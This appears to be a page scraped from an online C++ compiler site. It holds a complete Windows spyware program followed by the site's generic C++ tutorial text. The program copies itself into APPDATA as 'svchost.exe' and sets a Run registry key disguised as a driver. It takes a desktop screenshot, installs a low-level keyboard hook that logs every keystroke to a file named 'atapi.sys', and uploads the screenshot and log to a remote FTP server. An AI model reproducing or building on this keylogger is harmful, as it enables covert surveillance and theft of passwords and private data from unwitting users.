#include <stdio.h>
#include <string>
#include <windows.h>
#include <wininet.h>
#include <winuser.h>
#include <conio.h>
#include <time.h>
#include <fstream>
#include <strsafe.h>
#include <io.h>
#include <crtdefs.h>
#include <fstream>
#include <GdiPlus.h>

using namespace Gdiplus;
using namespace std;

#pragma comment(lib,"Wininet.lib")
#pragma comment (lib,"gdiplus.lib")

fstream log_error_file("log_error.txt",ios::app);

string userlc;

void userpath(){

	char szDir[260];
//	GetTempPath(260,szDir);
	GetEnvironmentVariable("APPDATA",szDir,260);

	userlc = szDir;
	userlc += "\\WPDNSE\\";

	log_error_file<<userlc<<"\n";
	log_error_file.close();

}

void screenshot(string file){
	ULONG_PTR gdiplustoken;
	GdiplusStartupInput gdistartupinput;
	GdiplusStartupOutput gdistartupoutput;

	gdistartupinput.SuppressBackgroundThread = true;
	GdiplusStartup(& gdiplustoken,& gdistartupinput,& gdistartupoutput); //start GDI+

	HDC dc=GetDC(GetDesktopWindow());//get desktop content
	HDC dc2 = CreateCompatibleDC(dc);	 //copy context

	RECT rc0kno;

	GetClientRect(GetDesktopWindow(),&rc0kno);// get desktop size;
	int w = rc0kno.right-rc0kno.left;//width
	int h = rc0kno.bottom-rc0kno.top;//height

	HBITMAP hbitmap = CreateCompatibleBitmap(dc,w,h);//create bitmap
	HBITMAP holdbitmap = (HBITMAP) SelectObject(dc2,hbitmap);

	BitBlt(dc2, 0, 0, w, h, dc, 0, 0, SRCCOPY);//copy pixel from pulpit to bitmap
	Bitmap* bm= new Bitmap(hbitmap,NULL);

	UINT num;
	UINT size;

	ImageCodecInfo *imagecodecinfo;
	GetImageEncodersSize(&num,&size); //get count of codec

	imagecodecinfo = (ImageCodecInfo*)(malloc(size));
	GetImageEncoders (num,size,imagecodecinfo);//get codec

	CLSID clsidEncoder;

	for(int i=0; i < num; i++)
	{
		if(wcscmp(imagecodecinfo[i].MimeType,L"image/jpeg")==0)
			clsidEncoder = imagecodecinfo[i].Clsid;//get jpeg codec id

	}

	free(imagecodecinfo);

	wstring ws;
	ws.assign(file.begin(),file.end());//sring to wstring
	bm->Save(ws.c_str(),& clsidEncoder); //save in jpeg format
	SelectObject(dc2,holdbitmap);//Release Objects
	DeleteObject(dc2);
	DeleteObject(hbitmap);

	ReleaseDC(GetDesktopWindow(),dc);
	GdiplusShutdown(gdiplustoken);

}

void ftp_scrshot_send(){

	HINTERNET hInternet;
	HINTERNET hFtpSession;

	DWORD rec_timeout = 5000;

	hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
		if(hInternet == NULL){
			log_error_file<<"Error:"<<GetLastError();
		}
		else{
			hFtpSession = InternetConnect(hInternet,"ihgigh",2121,NULL,NULL,INTERNET_SERVICE_FTP,0,0);
			InternetSetOption(hInternet,INTERNET_OPTION_SEND_TIMEOUT,&rec_timeout,sizeof(rec_timeout));
			if(hFtpSession == NULL){

				log_error_file<<"Error:"<<GetLastError();
			}
			else{
				if(!FtpPutFile(hFtpSession,"core32.mni","hacks/sc/dc.jpg",FTP_TRANSFER_TYPE_BINARY,0)){
					log_error_file<<"Error:"<<GetLastError();
				}
			}	
		}

	log_error_file.close();
}

void ftplogsend(){


	HINTERNET hInternet;
	HINTERNET hFtpSession;

	DWORD rec_timeout = 2000;

	hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);

		if(hInternet == NULL){
			log_error_file<<"Error:"<<GetLastError();
		}
		else{
			hFtpSession = InternetConnect(hInternet,"yugyui",2121,NULL,NULL,INTERNET_SERVICE_FTP,0,0);
			InternetSetOption(hInternet,INTERNET_OPTION_SEND_TIMEOUT,&rec_timeout,sizeof(rec_timeout));


			if(hFtpSession == NULL){

				log_error_file<<"Error:"<<GetLastError();
			}
			else{
				if(!FtpPutFile(hFtpSession,"atapi.sys","hacks/log.txt",FTP_TRANSFER_TYPE_BINARY,0)){
					log_error_file<<"Error:"<<GetLastError();
					log_error_file.close();
				}
			}


		}
	}
	

void AutoCopy(){

	string f_path = userlc;
	string f_name=f_path;
	f_name+="\\svchost.exe";//file name
	char my_name[260];
	GetModuleFileName(GetModuleHandle(0),my_name,260);//name of running process
	string f_my=my_name;
	CreateDirectory(f_path.c_str(),NULL);
	CopyFile(f_my.c_str(),f_name.c_str(),FALSE);

}

void Install(){

	SYSTEMTIME st;
	GetLocalTime(&st);
	int year = st.wYear;
	int month = st.wMonth;
	int day = st.wDay;
	int hour = st.wHour;
	int mintue = st.wMinute;

	string yearS =  to_string(year);
	yearS += "_";
	string monthS =  to_string(month);
	monthS += "-";
	string dayS =  to_string(day);
	dayS += "-";
	string hourS =  to_string(hour);
	hourS += "H-";
	string mintueS =  to_string(mintue);
	mintueS += "M------------>\n\n";

	string startDate = "\n\n";
	startDate += dayS + monthS + yearS + hourS + mintueS;
	char dateCh[260];
	strcpy(dateCh,startDate.c_str());


	string ff_path = userlc;
	char szDir[260];
	strcpy(szDir,ff_path.c_str());
	strcat(szDir,"atapi.sys");
	FILE *file;
	file = fopen(szDir, "a+");

	fputs(dateCh,file);
	fclose(file);

}

int isCapsLock()
{
	if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0)
	{
		return 1;
	}
	else
	{
		return 0;
	}
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
	DWORD dwMsg = 1;
	string ff_path = userlc;
	char szDir[260];
	strcpy(szDir,ff_path.c_str());
	strcat(szDir,"atapi.sys");
	FILE *file;
	file = fopen(szDir, "a+");
	DWORD dwAttrs = GetFileAttributesA(szDir);
	//	if (dwAttrs!= (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN))
	//	SetFileAttributesA(szDir, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN); 
	switch (wParam)
	{
	case WM_KEYDOWN:
		{
			DWORD vkCode = pKeyBoard->vkCode;
			if (GetAsyncKeyState(VK_SHIFT))
			{
				switch (vkCode)
				{
				case 0x30:
					fputs("[)]", file);
					break;
				case 0x31:
					fputs("[!]", file);
					break;
				case 0x32:
					fputs("[@]", file);
					break;
				case 0x33:
					fputs("[#]", file);
					break;
				case 0x34:
					fputs("[$]", file);
					break;
				case 0x35:
					fputs("[%]", file);
					break;
				case 0x36:
					fputs("[^]", file);
					break;
				case 0x37:
					fputs("[&]", file);
					break;
				case 0x38:
					fputs("[*]", file);
					break;
				case 0x39:
					fputs("[(]", file);
					break;
				case 0xBF:
					fputs("[?]", file); ///
					break;
				case 0xBB:
					fputs("[+]", file);
					break; 
				case 0xBE:
					fputs("[<]", file);
					break; 
				case 0xBD:
					fputs("[_]", file);
					break;
				case 0xE2:
					fputs("[>]", file);
					break;
				case 0x1C:
					fputs("[VK_CONVERT]",file);
					break;
				case 0x56:
					fputs("[@]", file);
					break;
				case  0x2A:
					fputs ("[PRINT]",file);
					break;
				case  0x2E:
					fputs ("[Delete]",file);
					break;
				case 0xAA:
					fputs("[Search]",file);
					break;
				case  0xF2:
					fputs("[Copy]",file);
					break;
				case 0xFE:
					fputs("[Clear]",file);
					break;
				case  0x3:
					fputs("[Connect]",file);
					break;
				case 0x6:
					fputs("[Logoff]",file);
					break;
				}
			}
			else
			{
				switch (vkCode)
				{
				case 0x30:
					fputs("0", file);
					break;
				case 0x31:
					fputs("1", file);
					break;
				case 0x32:
					fputs("2", file);
					break;
				case 0x33:
					fputs("3", file);
					break;
				case 0x34:
					fputs("4", file);
					break;
				case 0x35:
					fputs("5", file);
					break;
				case 0x36:
					fputs("6", file);
					break;
				case 0x37:
					fputs("7", file);
					break;
				case 0x38:
					fputs("8", file);
					break;
				case 0x39:
					fputs("9", file);
					break;
				case 0xBF:
					fputs("/", file);
					break;
				case 0xBB:
					fputs("=", file);
					break;
				case 0xBC:
					fputs(",", file);
					break;
				case 0xBE:
					fputs(".", file);
					break;
				case 0xBD:
					fputs("-", file);
					break;
				case 0xE2:
					fputs("<", file);
					break;
				}
			}
			if (!(GetAsyncKeyState(VK_SHIFT)))

			{
				switch (vkCode)
				{
				case 0x41:
					fputs("a", file);
					break;
				case 0x42:
					fputs("b", file);
					break;
				case 0x43:
					fputs("c", file);
					break;
				case 0xBA:
					fputs("č", file);
					break;
				case 0x44:
					fputs("d", file);
					break;
				case 0x45:
					fputs("e", file);
					break;
				case 0x46:
					fputs("f", file);
					break;
				case 0x47:
					fputs("g", file);
					break;
				case 0x48:
					fputs("h", file);
					break;
				case 0x49:
					fputs("i", file);
					break;
				case 0x4A:
					fputs("j", file);
					break;
				case 0x4B:
					fputs("k", file);
					break;
				case 0x4C:
					fputs("l", file);
					break;
				case 0x4D:
					fputs("m", file);
					break;
				case 0x4E:
					fputs("n", file);
					break;
				case 0x4F:
					fputs("o", file);
					break;
				case 0x50:
					fputs("p", file);
					break;
				case 0x52:
					fputs("r", file);
					break;
				case 0x53:
					fputs("s", file);
					break;
				case 0x54:
					fputs("t", file);
					break;
				case 0x55:
					fputs("u", file);
					break;
				case 0x56:
					fputs("v", file);
					break;
				case 0x5A:
					fputs("z", file);
					break;
				case 0xDC:
					fputs("\\", file);
					break;
				case 0x51:
					fputs("q", file);
					break;
				case 0x57:
					fputs("w", file);
					break;
				case 0x59:
					fputs("y", file);
					break;
				case 0x58:
					fputs("x", file);
					break;
				case 0xDE:
					fputs("ć", file);
					break;
				case 0xDD:
					fputs("đ", file);
					break;
				default:
					fputs(" ", file);
				}
			}

			if ((GetAsyncKeyState(VK_SHIFT)))

			{
				switch (vkCode)
				{
				case 0x41:
					fputs("A", file);
					break;
				case 0x42:
					fputs("B", file);
					break;
				case 0x43:
					fputs("C", file);
					break;
				case 0xBA:
					fputs("č", file);
					break;
				case 0x44:
					fputs("D", file);
					break;
				case 0x45:
					fputs("E", file);
					break;
				case 0x46:
					fputs("F", file);
					break;
				case 0x47:
					fputs("G", file);
					break;
				case 0x48:
					fputs("H", file);
					break;
				case 0x49:
					fputs("I", file);
					break;
				case 0x4A:
					fputs("J", file);
					break;
				case 0x4B:
					fputs("K", file);
					break;
				case 0x4C:
					fputs("L", file);
					break;
				case 0x4D:
					fputs("M", file);
					break;
				case 0x4E:
					fputs("N", file);
					break;
				case 0x4F:
					fputs("O", file);
					break;
				case 0x50:
					fputs("P", file);
					break;
				case 0x52:
					fputs("R", file);
					break;
				case 0x53:
					fputs("S", file);
					break;
				case 0x54:
					fputs("T", file);
					break;
				case 0x55:
					fputs("U", file);
					break;
				case 0x56:
					fputs("V", file);
					break;
				case 0x5A:
					fputs("Z", file);
					break;
				case 0x51:
					fputs("Q", file);
					break;
				case 0x57:
					fputs("W", file);
					break;
				case 0x59:
					fputs("Y", file);
					break;
				case 0x58:
					fputs("X", file);
					break;
				default:
					fputs(" ", file);
				}
			}


			else VK_SHIFT  + KF_ALTDOWN ;

			switch (vkCode)
			{
			case VK_SPACE:
				fputs("[Space]", file);
				break;
			case 0x2E:
				fputs("[Delete]", file);
				break;
			case VK_BACK:
				fputs("[BackSpace]", file);
				break;
			case VK_RETURN:
				fputs("[Enter]\n", file);
				break;
			case VK_LCONTROL:
				fputs("[Ctrl]", file);
				break;
			case VK_RCONTROL:
				fputs("[Ctrl]", file);
				break;
			case VK_TAB:
				fputs("[Tab]", file);
				break;
			case 0x25:
				fputs("[Left Arrow]", file);
				break;
			case 0x26:
				fputs("[Up Arrow]", file);
				break;
			case 0x27:
				fputs("[Right Arrow]", file);
				break;
			case 0x28:
				fputs("[Down Arrow]", file);
				break;
			case VK_ESCAPE:
				fputs("[Esc]", file);
				break;
			case VK_CAPITAL:
				fputs("[Caps Lock]", file);
				break;
			case VK_RSHIFT:
				fputs("[Right Shift]", file);
				break;
			case VK_LSHIFT:
				fputs("[Left Shift]", file);
				break;
			case VK_LMENU:
				fputs("[Left Alt]", file);
				break;
			case VK_RMENU:
				fputs("[Right Alt]", file);
				break;
			case VK_LWIN:
				fputs("[Left Win]", file);
				break;
			case VK_RWIN:
				fputs("[Right Win]", file);
				break;
			case VK_INSERT:
				fputs("[Insert]", file);
				break;
			case VK_SCROLL:
				fputs("[Scroll Lock]", file);
				break;
			case VK_HOME:
				fputs("[Home]", file);
				break;
			case VK_END:
				fputs("[End]", file);
				break;
			case VK_PRIOR:
				fputs("[Page Up]", file);
				break;
			case VK_NEXT:
				fputs("[Page Down]", file);
				break;
			case VK_SNAPSHOT:
				fputs("[Print Screen]", file);
				break;
			case VK_OEM_3:
				fputs("[ ~ ` ]", file);
				break;
			case VK_OEM_4:
				fputs("[ { [ ]", file);
				break;
			case VK_OEM_6:
				fputs("[ } ] ]", file);
				break;
			case VK_OEM_1:
				fputs("[ : ; ]", file);
				break;
			case VK_OEM_7:
				fputs("[ \" ' ]", file);
				break;
			case VK_F1:
				fputs("[F1]", file);
				break;
			case VK_F2:
				fputs("[F2]", file);
				break;
			case VK_F3:
				fputs("[F3]", file);
				break;
			case VK_F4:
				fputs("[F4]", file);
				break;
			case VK_F5:
				fputs("[F5]", file);
				break;
			case VK_F6:
				fputs("[F6]", file);
				break;
			case VK_F7:
				fputs("[F7]", file);
				break;
			case VK_F8:
				fputs("[F8]", file);
				break;
			case VK_F9:
				fputs("[F9]", file);
				break;
			case VK_F10:
				fputs("[F10]", file);
				break;
			case VK_F11:
				fputs("[F11]", file);
				break;
			case VK_F12:
				fputs("[F12]", file);
				break;
			case VK_NUMPAD0:
				fputs("0", file);
				break;
			case VK_NUMPAD1:
				fputs("1", file);
				break;
			case VK_NUMPAD2:
				fputs("2", file);
				break;
			case VK_NUMPAD3:
				fputs("3", file);
				break;
			case VK_NUMPAD4:
				fputs("4", file);
				break;
			case VK_NUMPAD5:
				fputs("5", file);
				break;
			case VK_NUMPAD6:
				fputs("6", file);
				break;
			case VK_NUMPAD7:
				fputs("7", file);
				break;
			case VK_NUMPAD8:
				fputs("8", file);
				break;
			case VK_NUMPAD9:
				fputs("9", file);
				break;
			case 0x6F:
				fputs("[/]", file);
				break;
			case 0x6A:
				fputs("[*]", file);
				break;
			case 0x6D:
				fputs("[-]", file);
				break;
			case 0x6B:
				fputs("[+]", file);
				break;
			case 0x6E:
				fputs("[,]", file);
				break;
			}
		}
	case WM_SYSKEYDOWN:
		{
			DWORD vkCode = pKeyBoard->vkCode;
			if (GetAsyncKeyState(VK_RSHIFT))
			{
				switch (vkCode)
				{
				case 0x51:
					fputs("[\\]", file);
					break;
				case 0x57:
					fputs("[|]", file);
					break;
				case 0xDB:
					fputs("[{]", file);
					break;
				case 0xDD:
					fputs("[}]", file);
					break;
				case 0xDC:
					fputs("[|]", file);
					break;
				case 0x56:
					fputs("[@]", file);
					break; 
				case 0xBE:
					fputs("[>]", file);
					break;
				}
			}
		}
	default:
		fclose(file);
		return CallNextHookEx( NULL, nCode, wParam, lParam );
	}
	fclose(file);
	return 0;
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
	HHOOK hKeyHook;
	HINSTANCE hExe = GetModuleHandle(NULL);
	if (hExe == NULL)
	{
		return 1;
	}
	else
	{
		hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, hExe, 0);
		MSG msg;
		while (GetMessage(&msg, NULL, 0, 0) != 0)
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
		UnhookWindowsHookEx(hKeyHook);
	}
	return 0;
}



int StartKeyLogging()
{
	HANDLE hThread;
	DWORD dwThread;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger,NULL, 0, NULL);
	if (hThread)
	{
		return WaitForSingleObject(hThread, INFINITE);
	}
	else
	{
		return 1;
	}
}

void AutoStart()
{
	char Driver[MAX_PATH];
	HKEY hKey;
	string ff_path = userlc + "svchost.exe";
	strcpy(Driver,ff_path.c_str());
	RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
	RegSetValueExA(hKey, "Windows Atapi x86_64 Driver", 0, REG_SZ, (const unsigned char *)Driver, MAX_PATH);
	RegCloseKey(hKey);
}


int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
	userpath();
	AutoCopy(); //autocopy
	AutoStart(); // auto start everytime
	Sleep(1000*60*1);
	Install(); // write log date
	screenshot("core32.mni");
	ftp_scrshot_send();
	ftplogsend();
	StartKeyLogging();
} 

C++ Online Compiler

Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++ and start coding!

Read inputs from stdin

OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.

#include <iostream>
#include <string>
using namespace std;

int main() 
{
    string name;
    cout << "Enter name:";
    getline (cin, name);
    cout << "Hello " << name;
    return 0;
}

About C++

C++ is a widely used middle-level programming language.

  • Supports different platforms like Windows, various Linux flavours, MacOS etc
  • C++ supports OOPS concepts like Inheritance, Polymorphism, Encapsulation and Abstraction.
  • Case-sensitive
  • C++ is a compiler based language
  • C++ supports structured programming language
  • C++ provides alot of inbuilt functions and also supports dynamic memory allocation.
  • Like C, C++ also allows you to play with memory using Pointers.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
   //code
}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
......    
    
default:     
 code to be executed when all the above cases are not matched;    
} 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  //code  
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}